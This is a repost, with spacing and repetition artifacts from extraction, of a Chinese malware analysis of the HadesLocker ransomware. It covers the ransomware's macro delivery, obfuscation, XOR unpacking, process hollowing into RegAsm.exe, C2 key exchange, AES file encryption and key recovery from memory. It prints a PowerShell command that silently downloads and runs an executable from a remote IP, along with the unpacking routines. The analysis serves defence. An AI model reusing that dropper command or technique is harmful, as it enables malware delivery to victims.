搜索

[10734] 2016-11-19_直面冥王：最新爆发的C#敲诈木马HadesLocker解读

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2016-11-19_直面冥王：最新爆发的C#敲诈木马HadesLocker解读 直 面 冥 王 ： 最 新 爆 发 的 C # 敲 诈 木 马 H a d e s L o c k e r 解 读 腾 讯 电 脑 管 家   F r e e B u f   2 0 1 6 - 1 1 - 1 9 近 日 哈 勃 分 析 系 统 捕 获 到 一 类 由 近 日 哈 勃 分 析 系 统 捕 获 到 一 类 由 C # 语 言 编 写 的 新 的 敲 诈 勒 索 木 马 。 之 前 出 现 语 言 编 写 的 新 的 敲 诈 勒 索 木 马 。 之 前 出 现   的 的 C # 语 言 编 写 的 木 马 只 是 简 单 地 调 用 了 一 些 语 言 编 写 的 木 马 只 是 简 单 地 调 用 了 一 些 C # 库 来 辅 助 开 发 。 与 之 相 比 ， 这 次 的 变 种 增 加 了 多 层 嵌 套 解 密 、 动 态 反 射 调 用 库 来 辅 助 开 发 。 与 之 相 比 ， 这 次 的 变 种 增 加 了 多 层 嵌 套 解 密 、 动 态 反 射 调 用   等 复 杂 手 段 ， 外 加 多 种 混 淆 技 术 ， 等 复 杂 手 段 ， 外 加 多 种 混 淆 技 术 ，   提 升 了 分 提 升 了 分 析 难 度 。 析 难 度 。 木 马 加 密 文 件 时 使 用 A E S 2 5 6 算 法 ，   在 特 定 条 件 下 可 以 还 原 加 密 的 文 件 。 背 景 简 介 ： 背 景 简 介 ： H a d e s L o c k e r 是 1 0 月 份 新 爆 发 的 一 个 敲 诈 勒 索 类 木 马 ， 会 加 密 用 户   特 定 后 缀 名 的 文 件 ， 包 括 本 地 驱 动 器 和 网 络 驱 动 器 ，   加 密 后 文 件 后 缀 为 . ~ H L 外 加 5 个   随 机 字 符 ， 然 后 生 成 t x t ， h t m l 、 p n g 三 种 形 式 的 文 件 来 通 知 用 户 支 付   赎 金 ， 桌 面 背 景 也 会 被 改 为 生 成 的 p n g 文 件 。 打 开 支 付 赎 金 的 网 站 可 以 看 到 ， 用 户 必 须 支 付 1 比 特 币 的 赎 金 才 能 获 取 解 密   密 码 ， 并 且 如 果 在 规 定 的 时 间 内 没 有 支 付 ， 赎 金 价 格 将 升 至 2 比 特 币   。 在 该 网 站 上 ， 木 马 作 者 将 其 命 名 为 H a d e s L o c k e r 。 此 网 站 域 名 为 俄 罗 斯 顶 级 域 名 r u ， 无 法 查 询 到 进 一 步 的 注 册 信 息 。
样 本 分 析 ： 样 本 分 析 ： 原 始 传 播 文 件 依 然 延 续 了 最 近 的 趋 势 ， 使 用 宏 文 档 进 行 传 播 ， 打 开 文 档 之 后 运 行 宏 会   启 动 p o w e r s h e l l 命 令 ， 下 载 木 马 主 体 并 且 运 行   ： C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e "   - w   h i d d e n   - n o p   - e p   b y p a s s   ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / 1 8 5 . * . * . 6 6 / u p d a t e . e x e ' , ' C : U s e r s A D M I N I ~ 1 A p p D a t a L o c a l T e m p u p d a t e 3 4 5 . e x e ' ) ;   S t a r t - P r o c e s s ( ' C : U s e r s A D M I N I ~ 1 A p p D a t a L o c a l T e m p u p d a t e 3 4 5 . e x e ' ) 其 中 的 下 载 I P 经 查 询 来 自 荷 兰 。 下 载 到 的 u p d a t e 3 4 5 . e x e 是 一 个 r a r 自 解 压   包 ， 打 开 后 可 以 看 到 包 含 3 个 文 件 ，   其 中 一 个 e x e 是 木 马 启 动 入 口 ， 另 外 两 个 文 件 均 是 一 些 二 进 制 数 据 。
O s i y y k s s . e x e 是 一 个 C # 程 序 ， 所 有   的 源 码 都 经 过 了 混 淆 ， 主 要 包 括 函 数 名 与 变 量 名 混 淆   ， 执 行 流 程 混 淆 ， 外 加 垃 圾 指 令 等 。 例 如 下 面 是 其 中 一 个 较 为 简 单 的 被 混 淆 的 方 法 ： 可 以 看 到 混 淆 形 式 如 下 ： w h i l e ( t r u e ) {   s w i t c h ( )   c a s e   1 :   c a s e   2 ：   … … } 使 用 其 中 硬 编 码 的 一 些 大 数 常 量 ， 然 后   通 过 各 种 运 算 决 定 进 哪 个 执 行 分 支 ， 以 此   混 淆 执 行 流 。 因 此 后 面 可 以 看 到 ， 本 文 几 乎 所 有 截 图 中 的 代 码   基 本 都 在 某 个 s w i t c h 的 c a s e 里 。 外 加 所 有 的 字 符 串 都 是 动 态 解 密 的 ， 这   对 静 态 分 析 造 成 了 很 大 困 扰 ， 所 以 主 要 需 要 依 靠 动 态 调 试 这 个 样 本 。
O s i y y k s s . e x e 分 析 ： 分 析 ： O s i y y k s s . e x e 启 动 后 首 先 读 取 压 缩 包 内 的 另 一 个 文 件 K r r x o e o a o n m s i y y k . p n g ，   并 且 开 始 解 密 ：   K r r x o e o a o n m s i y y k . p n g 解 密 后 是 一 个 C # 程 序 集 ， 解 密   方 法 不 算 复 杂 ， 使 用 固 定 的 字 符 串 “ D l g h o o x w x c l e s v x a m v ”   为 k e y ， 然 后 顺 序 异 或 加 密 。 由 此 可 得 到   解 密 算 法 为 ： F o r   i   i n   F i l e S i z e : F i l e B y t e s [ i ]   ^ =   K e y [   i   %   K e n L e n   ] ; 解 密 后 的 程 序 集 是 这 样 的 ： 解 密 后 O s i y y k s s . e x e 使 用 延 迟 绑 定 技 术 动 态 调 用   这 个 名 为 ” I E ” 的 程 序 集 ： I E 程 序 集 ： 程 序 集 ： 首 先 木 马 将 自 身 复 制 到 A p p D a t a R o a m i n g w o w 6 2 3 2 n o d e 目 录   下 ， 此 目 录 名 怀 疑 是 模 仿 系 统 中 常 见 的 W O W 6 4 3 2 N o d e 的 名 称 。
然 后 创 建 一 个 快 捷 方 式 ， 指 向 w o w 6 2 3 2 n o d e 目 录 下 的   新 文 件 ， 并 且 将 快 捷 方 式 设 置 为 自 启 动 项 。 接 下 来 读 取 压 缩 包 的 另 一 个 文 件 S e n a g x e h d o j k . x m l ， 并 且 调 用 I E : P o l y D e c r y p t 开 始 解 密   ， 解 密 的 k e y 与 之 前 解 密 I E 程 序 集 的 k e y 一 样   ， 但 是 解 密 方 法 略 有 不 同 ， 解 密 算 法 大 意 如 下 ： F o r   i   i n   F i l e S i z e * 2 : F i l e B y t e s [ i   %   F i l e S i z e ]   =   ( B Y T E ) ( ( ( i n t ) ( ( F i l e B y t e s [ i   %   F i l e S i z e ]   ^   K e y [ i   %   K e y L e n ] )   -   F i l e B y t e s [ ( i   +   1 )   %   F i l e S i z e ] )   +   2 5 6 )   %   2 5 6 ) ; S e n a g x e h d o j k . x m l 解 密 后 为 另 一 个 程 序 集 S   o f t w a r e ， 这 个 程 序 集 才 是 敲 诈 木 马 实 现 加 密 勒 索 的 主 要 程 序 集 ， 但 木 马 十 分 狡 猾 ， 并 没 有 直 接 调 用 该 程 序 集 。 说 回 I E 程 序 集 ， I E 程 序 集 资 源 还 包 含 了 一 个 P E 文 件 :
该 P E 文 件 也 是 一 个 C # 程 序 集 ， 名 为 C   L i b ， I E 程 序 集 使 用 反 射 技 术 动 态 调 用   资 源 中 C l i b 程 序 集 的 P e . R u n ( ) 。 C L i b 程 序 集 ： 程 序 集 ： 接 下 来 的 流 程 在 C L i b 程 序 集   上 负 责 执 行 ， 上 图 可 以 看 到 ， 在 调 用 此 程 序 集   时 还 使 用 了 3 个 参 数 ， I n j e c t i o n 是 . n e t 目 录   下 R e g A s m . e x e 的 全 路 径 ， p a r a m e t e r s 为 n u l l   ， 而 v f i l e 则 是 之 前 解 密 的 S o f t w a r e   程 序 集 的 资 源 数 据 。
C L i b 程 序 集 的 功 能 比 较 单 一 ， 首 先 以   C R E A T E _ S U S P E N D E D 创 建 R e g A s m . e x e 进 程 并 挂 起 ： 然 后 使 用 P e L o a d e r 技 术 ， 将 R e g A s m 进 程   的 内 存 镜 像 替 换 为 之 前 解 密 的 s o f t w a r e 程 序 集 ，   然 后 恢 复 原 R e g A s m . e x e 进 程 继 续 执 行 。 S o f t w a r e 程 序 集 ： 程 序 集 ： 此 时 经 过 了 层 层 的 动 态 l o a d 、 内 存 加 载 技 术   ， 终 于 要 到 了 真 正 加 密 文 件 的 地 方 了 ， 按 照 之 前 流 程 所 述 ，   虽 然 进 程 是 R e g A s m . e x e ， 但 这 时 R e g A s m . e x e 的 实 际 内 存   其 实 已 经 被 替 换 为 S o f t w a r e 程 序 集 了 。 S o f t w a r e 程 序 集 首 先 解 密 两 段 局 部   变 量 保 存 的 的 二 进 制 数 据 。 第 一 段 数 据 解 密 后 发 现 又   是 一 个 程 序 集 ， 然 后 反 射 动 态 加 载 该 程 序 集 。
因 为 是 从 一 个 局 部 硬 编 码   的 二 进 制 数 据 中 解 密 的 ， 所 以 该 程 序 集 不 是 很 大 ， 用 R e f l e c t o r 可 以   看 到 该 程 序 集 并 没 有 实 际 的 功 能 ， 但 资 源 里 包 含 两 个 字 符 串 ， 内 容 是   加 密 所 有 文 件 后 ， 木 马 生 成 用 来 通 知 用 户   支 付 赎 金 的 文 本 ， 包 括 H T M L   与 T X T 。 第 二 段 数 据 解 密 后 是 木 马   将 要 使 用 的 所 有 的 字 符 串 数 据 ， 如 赎 金 支 付 网 址 等 。 然 后 ， S o f t w a r e 程 序 集 从 H K E Y _ C U R R E N T _ U S E R S o f t w a r e W o w 6 2 3 2 N o d e 获 取 h w i d 和 s t a t u s 的   值 ， 如 果 不 存 在 就 创 建 该 注 册 表 项 ， 并 计 算 键 值 。 s t a t u s 代 表 当 前 加 密 状 态 ， 未 加 密 为 0 ， 当 加 密 完 全 盘 后 置 为   1 。 h w i d 代 表 被 感 染 用 户 的 唯 一 I D ， 这 个 I D 很 重 要   ， 用 于 表 明 受 害 者 的 身 份 ， 计 算 方 法 如 下 ： 先 生 成   一 段 G U I D ， 然 后 把 其 中 的 “   - ” 替 换 掉 ， 最 后   取 前 0 × 1 0 个 字 节 ， 转 为 大 写 ， 就 得 到 了 当 前 用 户 的 I D 。 接 下 来 ， 木 马 从 h t t p : / / i p - a p i . c o m / x m l 获 取 当 前   的 I P 信 息 ， 以 及 获 取 计 算 机 名 ， 账 户 名 等 信 息 。 这 些 数 据 都 获 取 到 之 后 ， 木 马 会 把 数 据 发 往 服 务 器 n g * * * * t z . r u 去   请 求 加 密 密 钥 ， 请 求 使 用 的 是 H T T P   P O S T 的 方 式 ，   参 数 包 括 之 前 计 算 的 中 招 用 户 唯 一 I D ， 账 户 名 ， 计 算 机 名 、   I P 地 址 、 国 家 信 息 等 ： h w i d = * * * * & t r a c k i n g _ i d = * * * * & u s e r c o m p u t e r n a m e = * * * * & i p = * . * . * . * & c o u n t r y = C N 如 果 是 在 断 网 状 态 下 ， 则 木 马   会 不 断 尝 试 连 接 ， 直 到 连 接 成 功 ， 因 此 在 断 网 状 态 文 件 不 会   立 即 加 密 。 服 务 器 接 收 到 P O S T 请 求 后   返 回 信 息 为 如 下 格 式 ： " [ S T A T U S = A C C E P T E D ] [ = ] [ P A S S W O R D = 0 K D Z X - z j x R f 3 f F w C c 0 a B 0 d p H O J E A K y i r V o r B C n ] " 其 中 的 P A S S W O R D 以 “ - ”   分 割 为 两 部 分 。
第 一 部 分 表 明 加 密 后 的 文 件 的 随 机 后 缀 名   ， 文 件 后 缀 名 规 则 为 . ~ H L 加 上 获 取 到 的 随 机 字 符 ， 所 以 本 次 被 加 密   文 件 的 后 缀 名 为 . ~ H L 0 K D Z X   。 第 二 部 分 为 z j x R f 3 f F w C c 0 a B 0 d p H O J E A K y i r V o r B C n ， 首 先 把   字 符 串 根 据 a s c i i 转 换 为 二 进 制 ， 然 后 计 算 一 次 S H A 5 1 2 ， H A S H 完   的 结 果 长 度 为 0 × 4 0 个 字 节 ， 分 为 2 个   部 分 ， 前 0 × 2 0 为 K e y 1 ， 中 间 0 × 1 0 个 字 节 为 K e y 2 ，   两 个 K e y 都 是 接 下 来 的 文 件   加 密 算 法 用 到 的 参 数 。 接 下 来 开 始 生 成 P N G 、 T X T 、 H T M L 三 种 格 式 的 文 件   用 于 通 知 用 户 ， 文 件 名 规 则 为 R E A D M E _ R E C O V E R _ F I L E S _ 加 H W I D   再 加 上 相 应 的 后 缀 名 。 通 知 内 容 中 ，   支 付 赎 金 截 止 日 期 为 系 统 当 前 时 间 加 7 天 ， 其 余 一 些   信 息 则 简 单 做 一 些 替 换 ， 比 如 用 户 当 前 的 H W I D 、 支 付 赎 金 的 网 站 等 。 生 成 相 应 的 文 件 内 容 后 ，   保 存 到 系 统 关 键 目 录 下 ，   比 如 D o c u m e n t s ， P i c t u r e s 目 录 。 做 完 以 上 步 骤 之 后 ， 木 马 开 始 加 密 文 件 ， 会 被 此 木 马 加 密 的 所 有   文 件 后 缀 名 如 下 ： . c o n t a c t   . d b x   . d o c   . d o c x   . j n t   . j p g   . m a p i m a i l   . m s g   . o a b   . o d s   . p d f   . p p s   . p p s m   . p p t   . p p t m   . p r f   . p s t   . r a r   . r t f   . t x t   . w a b   . x l s   . x l s x   . x m l   . z i p   . 1 c d   . 3 d s   . 3 g 2   . 3 g p   . 7 z   . 7 z i p   . a c c d b   . a o i   . a s f   . a s p   . a s p x   . a s x   . a v i   . b a k   . c e r   . c f g   . c l a s s   . c o n f i g   . c s s   . c s v   . d b   . d d s   . d w g   . d x f   . f l f   . f l v   . h t m l   . i d x   . j s   . k e y   . k w m   . l a c c d b   . l d f   . l i t   . m 3 u   . m b x   . m d   . m d f   . m i d   . m l b   . m o v   . m p 3   . m p 4   . m p g   . o b j   . o d t   . p a g e s   . p h p   . p s d   . p w m   . r m   . s a f e   . s a v   . s a v e   . s q l   . s r t   . s w f   . t h m   . v o b   . w a v   . w m a   . w m v   . x l s b   . 3 d m   . a a c   . a i   . a r w   . c   . c d r   . c l s   . c p i   . c p p   . c s   . d b 3   . d o c m   . d o t   . d o t m   . d o t x   . d r w   . d x b   . e p s   . f l a   . f l a c   . f x g   . j a v a   . m   . m 4 v   . m a x   . m d b   . p c d   . p c t   . p l   . p o t m   . p o t x   . p p a m   . p p s m   . p p s x   . p p t m   . p s   . p s p i m a   . r 3 d   . r w 2   . s l d m   . s l d x   . s v g   . t g a   . w p s   . x l a   . x l a m   . x l m   . x l r   . x l s m   . x l t   . x l t m   . x l t x   . x l w   . a c t   . a d p   . a l   . b k p   . b l e n d   . c d f   . c d x   . c g m   . c r 2   . c r t   . d a c   . d b f   . d c r   . d d d   . d e s i g n   . d t d   . f d b   . f f f   . f p x   . h   . i i f   . i n d d   . j p e g   . m o s   . n d   . n s d   . n s f   . n s g   . n s h   . o d c   . o d p   . o i l   . p a s   . p a t   . p e f   . p f x   . p t x   . q b b   . q b m   . s a s 7 b d   . s a y   . s t 4   . s t 6   . s t c   . s x c   . s x w   . t l g   . w a d   . x l k   . a i f f   . b i n   . b m p   . c m t   . d a t   . d i t   . e d b   . f l v v   . g i f   . g r o u p s   . h d d   . h p p   . l o g   . m 2 t s   . m 4 p   . m k v   . m p e g   . n d f   . n v r a m   . o g g   . o s t   . p a b   . p d b   . p i f   . p n g   . q e d   . q c o w   . q c o w 2   . r v t   . s t 7   . s t m   . v b o x   . v d i   . v h d   . v h d x   . v m d k   . v m s d   . v m x   . v m x f   . 3 f r   . 3 p r   . a b 4   . a c c d e   . a c c d r   . a c c d t   . a c h   . a c r   . a d b   . a d s   . a g d l   . a i t   . a p j   . a s m   . a w g   . b a c k   . b a c k u p   . b a c k u p   . b a n k   . b a y   . b d b   . b g t   . b i k   . b p w   . c d r 3   . c d r 4   . c d r 5   . c d r 6   . c d r w   . c e 1   . c e 2   . c i b   . c r a w   . c r w   . c s h   . c s l   . d b _ j o u   . d c 2   . d c s   . d d o c   . d d r w   . d e r   . d e s   . d g c   . d j v u   . d n g   . d r f   . d x g   . e m l   . e r b s q l   . e r f   . e x f   . f f d   . f h   . f h d   . g r a y   . g r e y   . g r y   . h b k   . i b a n k   . i b d   . i b z   . i i q   . i n c p a s   . j p e   . k c 2   . k d b x   . k d c   . k p d x   . l u a   . m d c   . m e f   . m f w   . m m w   . m n y   . m o n e y w   . m r w   . m y d   . n d d   . n e f   . n k 2   . n o p   . n r w   . n s 2   . n s 3   . n s 4   . n w b   . n x 2   . n x l   . n y f   . o d b   . o d f   . o d g   . o d m   . o r f   . o t g   . o t h   . o t p   . o t s   . o t t   . p 1 2   . p 7 b   . p 7 c   . p d d   . p e m   . p l u s _ m   . p l c   . p o t   . p p t x   . p s a f e 3   . p y   . q b a   . q b r   . q b w   . q b x   . q b y   . r a f   . r a t   . r a w   . r d b   . r w l   . r w z   . s 3 d b   . s d 0   . s d a   . s d f   . s q l i t e   . s q l i t e   . s q l i t e   . s r 2   . s r f   . s r w   . s t 5   . s t 8   . s t d   . s t i   . s t w   . s t x   . s x d   . s x g   . s x i   . s x m   . t e x   . w a l l e t   . w b 2   . w p d   . x 1 1   . x 3 f   . x i s   . y c b c r a   . y u v 在 加 密 过 程 中 ， 为 了 保 证 系 统 正 常 运 行 ， 如 下 几 个 目 录 会 被 木 马 跳 过 ： W i n d o w s 、 p r o g r a m   f i l e s 、 p r o g r a m   f i l e s ( x 8 6 ) 、 s y s t e m   v o l u m e   i n f o r m a t i o n 、   $ r e c y c l e . b i n 木 马 的 加 密 方 式 为 A E S 2 5 6 对 称 加 密 ，   k e y 为 之 前 得 到 的 k e y 1 ，   I V 为 k e y 2 ， 以 0 × 1 0 0 0 为 单 位 循 环 加 密   ， 对 于 文 件 大 小 小 于 0 × 1 0 0 0 的 文 件 ， 使 用 0 来   补 齐 。 大 于 0 × 1 0 0 0 的 文 件 ， 最 后 不 够 0 × 1 0 0 0 的 内 容 重 复 使 用   之 前 的 b u f f e r 补 齐 。 加 密 完 文 件 后 ， 对 于 原 始 文 件 木 马 并 没 有   马 上 直 接 删 除 ， 而 是 先 生 成 随 机 数 进 行 填 充   ， 并 且 篡 改 了 文 件 的 创 建 时 间 、 最 后 访 问 时 间 等 ， 最 后 再 进 行 删 除   。 这 样 做 的 目 的 是 防 止 使 用 一 些 文 件 恢 复 工 具 进 行 恢 复 ，   从 中 也 可 以 看 出 此 木 马 为 了 获 取 非 法 利 益 给 受 害 者 造 成 了 非 常 大 的 破 坏 。
在 加 密 了 全 盘 文 件 后 ， 木 马 会 打 开 H T M L 和 T X T 文 件   ， 并 且 修 改 桌 面 背 景 以 通 知 用 户 支 付 赎 金 。 密 钥 与 解 密 ： 密 钥 与 解 密 ： 在 加 密 过 程 中 ， 可 以 看 到 木 马 使 用 的 是   A E S 加 密 ， 所 以 如 果 知 道 密 钥 是 可 以 恢 复 文 件 的 ， 而 密 钥 获 取   是 通 过 向 服 务 器 P O S T 请 求 拿 到 P A S S W O R D ， 然 后 通 过 S H A 5 1 2 计 算   来 的 。 遗 憾 的 是 ， 就 算 使 用 固 定 的   H W I D ， I P 等 信 息 ， 每 次 请 求 获 取 到 的 P A S S W O R D   都 不 相 同 ， 可 见 服 务 器 进 行 了 一 些 随 机 化 处 理 ， 因 此 这 个 方 法 获 取   密 钥 是 行 不 通 的 。 不 过 ， 服 务 器 传 回 的 P A S S W O R D 信 息 ， 在 木 马   的 主 体 ， 也 就 是 R e g A s m . e x e 进 程 的   内 存 里 可 以 找 到 ， 而 且 R e g A s m . e x e 在 完 成 所 有 加 密 后 并 不 会 退 出 ，   因 此 如 果 在 用 户 重 启 电 脑 之 前 ， 能 够 从 内 存 中 提 取 出 这 段 密 钥 ， 可 以 尝 试 还 原 被 加 密 的 文 件 。 * 作 者 ： 腾 讯 电 脑 管 家 （ 企 业 账 号 ） ， 转 载 请 注 明 来 自 F r e e B u f . C O M
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理